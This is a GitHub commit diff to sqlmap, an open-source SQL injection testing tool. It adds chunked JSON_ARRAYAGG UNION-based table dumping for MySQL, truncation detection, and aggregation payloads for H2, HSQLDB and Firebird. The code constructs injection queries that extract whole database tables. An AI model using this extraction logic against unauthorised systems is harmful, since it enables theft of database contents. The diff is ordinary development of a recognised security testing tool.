Skip to content

Commit 35fefc3

Browse files
committed
Improvements for JSON_AGG retrieval
1 parent 497d377 commit 35fefc3

5 files changed

Lines changed: 84 additions & 7 deletions

File tree

data/txt/sha256sums.txt

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -182,14 +182,14 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.
182182
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
183183
914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
184184
31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py
185-
21b6868afc4570c9d2265427b7ea5fe8ac2e062ead3760ca3494208fde5f5e52 lib/core/option.py
185+
7357efadb3fc8305a1b2a0b1be1915099c5c87bdbe1e95fafcd008043a58039d lib/core/option.py
186186
ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py
187187
49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
188188
03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py
189189
48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py
190190
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
191191
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
192-
8411f42e10133c779cff837c6e51698cfebe0796f93ca9e3575a5644d64a3e04 lib/core/settings.py
192+
f75f15165173becddf439996a85f011262178e1bf5d2d2bf8028455b7ff3ff94 lib/core/settings.py
193193
cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py
194194
bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py
195195
70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py
@@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site
212212
369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py
213213
bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py
214214
390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py
215-
ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/connect.py
215+
b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py
216216
8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py
217217
cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py
218218
92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py
@@ -241,7 +241,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r
241241
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py
242242
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py
243243
ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py
244-
9d916ad5d61f9ce467a5ff4b416e61b8ad76d1d950fdd06f23f70a6f7f941a1c lib/techniques/union/use.py
244+
3f834b877f0fb684e402d07af1d8a7c7d0cdb4c0a3f9f15fe8488a08d88db4f2 lib/techniques/union/use.py
245245
aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py
246246
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
247247
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py

lib/core/option.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2146,6 +2146,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
21462146
kb.hintValue = ""
21472147
kb.htmlFp = []
21482148
kb.huffmanModel = {}
2149+
kb.respTruncated = False
21492150
kb.huffmanValidated = False
21502151
kb.disableHuffman = False
21512152
kb.huffmanProbes = 0

lib/core/settings.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.6.130"
23+
VERSION = "1.10.6.131"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -226,6 +226,9 @@
226226
# In case of missing piece of partial union dump, buffered array must be flushed after certain size
227227
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
228228

229+
# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated)
230+
JSON_AGG_CHUNK_ROWS = 1000
231+
229232
# Maximum size of cache used in @cachedmethod decorator
230233
MAX_CACHE_ITEMS = 1024
231234

lib/request/connect.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -229,6 +229,7 @@ def _retryProxy(**kwargs):
229229
@staticmethod
230230
def _connReadProxy(conn):
231231
parts = []
232+
kb.respTruncated = False
232233

233234
if not kb.dnsMode and conn:
234235
headers = conn.info()
@@ -255,13 +256,15 @@ def _connReadProxy(conn):
255256
singleTimeWarnMessage(warnMsg)
256257
part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part)
257258
parts.append(part)
259+
kb.respTruncated = True # response exceeded the read cap and was trimmed (signal for chunked UNION dumping)
258260
else:
259261
parts.append(part)
260262
break
261263

262264
if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE:
263265
warnMsg = "too large response detected. Automatically trimming it"
264266
singleTimeWarnMessage(warnMsg)
267+
kb.respTruncated = True
265268
break
266269

267270
if conf.yuge:

lib/techniques/union/use.py

Lines changed: 72 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,7 @@
5050
from lib.core.enums import PAYLOAD
5151
from lib.core.exception import SqlmapDataException
5252
from lib.core.exception import SqlmapSyntaxException
53+
from lib.core.settings import JSON_AGG_CHUNK_ROWS
5354
from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
5455
from lib.core.settings import NULL
5556
from lib.core.settings import SQL_SCALAR_REGEX
@@ -129,7 +130,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
129130
retVal = None
130131
else:
131132
retVal = getUnicode(retVal)
132-
elif Backend.isDbms(DBMS.PGSQL):
133+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD):
133134
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
134135
if output:
135136
retVal = output
@@ -150,6 +151,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
150151

151152
if retVal:
152153
break
154+
155+
# Detect a single-shot aggregate that was too large to return whole, so the caller can
156+
# switch to chunked (windowed) aggregation: either the response carries the leading
157+
# marker but no trailing one (cut mid-aggregate by sqlmap's cap and/or a silent DBMS
158+
# truncation, regardless of compression), or the DBMS refused it outright with a packet
159+
# size error (e.g. MySQL "Result of json_arrayagg() was larger than max_allowed_packet").
160+
if retVal is None and page and ((kb.chars.start in page and kb.chars.stop not in page) or "max_allowed_packet" in page):
161+
kb.respTruncated = True
153162
else:
154163
# Parse the returned page to get the exact UNION-based
155164
# SQL injection output
@@ -237,6 +246,55 @@ def _configUnionCols(columns):
237246
_configUnionChar(char)
238247
_configUnionCols(conf.uCols or columns)
239248

249+
def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count):
250+
"""
251+
Fallback for when a full (single-shot) JSON-agg UNION table dump is too large to be returned
252+
whole (DBMS packet limit / sqlmap response cap). Instead of dropping to the slow per-row UNION
253+
path, rows are aggregated in bounded windows of K rows per request (JSON_ARRAYAGG over a
254+
LIMIT-windowed subquery), keeping near full-UNION throughput while staying well under the
255+
caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of
256+
rows, or None to let the caller fall back to the regular per-row UNION path.
257+
258+
NOTE: MySQL only for now (windowed 'LIMIT offset,K' + JSON_ARRAYAGG); other DBMSes return None.
259+
"""
260+
if not Backend.isDbms(DBMS.MYSQL) or not expressionFields or not expressionFieldsList:
261+
return None
262+
263+
# a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows
264+
base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression)
265+
orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList)))
266+
aggFields = "CONCAT_WS('%s',%s)" % (kb.chars.delimiter, ','.join(agent.nullAndCastField(_) for _ in expressionFieldsList))
267+
268+
debugMsg = "single-shot UNION dump output was too large; switching to "
269+
debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count
270+
singleTimeDebugMessage(debugMsg)
271+
272+
retVal = BigArray()
273+
chunk = JSON_AGG_CHUNK_ROWS
274+
offset = 0
275+
276+
while offset < count:
277+
inner = "%s %s LIMIT %d,%d" % (base, orderBy, offset, chunk)
278+
query = "SELECT CONCAT('%s',JSON_ARRAYAGG(%s),'%s') FROM (%s) AS sqmapx" % (kb.chars.start, aggFields, kb.chars.stop, inner)
279+
280+
kb.jsonAggMode = True
281+
output = _oneShotUnionUse(query, False)
282+
kb.jsonAggMode = False
283+
284+
if kb.respTruncated and chunk > 1:
285+
chunk = max(1, chunk // 2) # a single chunk is still too big -> shrink and retry same window
286+
continue
287+
288+
rows = parseUnionPage(output)
289+
290+
if rows is None:
291+
return None # unexpected failure -> let the caller fall back to the per-row path
292+
293+
retVal.extend(arrayizeValue(rows))
294+
offset += chunk
295+
296+
return retVal
297+
240298
def unionUse(expression, unpack=True, dump=False):
241299
"""
242300
This function tests for an UNION SQL injection on the target
@@ -268,7 +326,7 @@ def unionUse(expression, unpack=True, dump=False):
268326
debugMsg += "it does not play well with UNION query SQL injection"
269327
singleTimeDebugMessage(debugMsg)
270328

271-
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
329+
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
272330
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
273331
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
274332
kb.jsonAggMode = True
@@ -282,6 +340,10 @@ def unionUse(expression, unpack=True, dump=False):
282340
query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
283341
elif Backend.isDbms(DBMS.MSSQL):
284342
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
343+
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.HSQLDB):
344+
query = expression.replace(expressionFields, "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
345+
elif Backend.isDbms(DBMS.FIREBIRD):
346+
query = expression.replace(expressionFields, "LIST('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
285347
output = _oneShotUnionUse(query, False)
286348
value = parseUnionPage(output)
287349
kb.jsonAggMode = False
@@ -336,6 +398,14 @@ def unionUse(expression, unpack=True, dump=False):
336398
return value
337399

338400
if isNumPosStrValue(count) and int(count) > 1:
401+
# The single-shot full UNION dump failed and the table is large (or its oversized
402+
# response was detected as truncated): retrieve the rows in bounded windows via
403+
# chunked JSON aggregation (K rows/request) instead of the slow per-row path below.
404+
if Backend.isDbms(DBMS.MYSQL) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)) and (int(count) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated):
405+
chunked = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(count))
406+
if chunked is not None:
407+
return chunked
408+
339409
threadData = getCurrentThreadData()
340410

341411
try:

0 commit comments

Comments
 (0)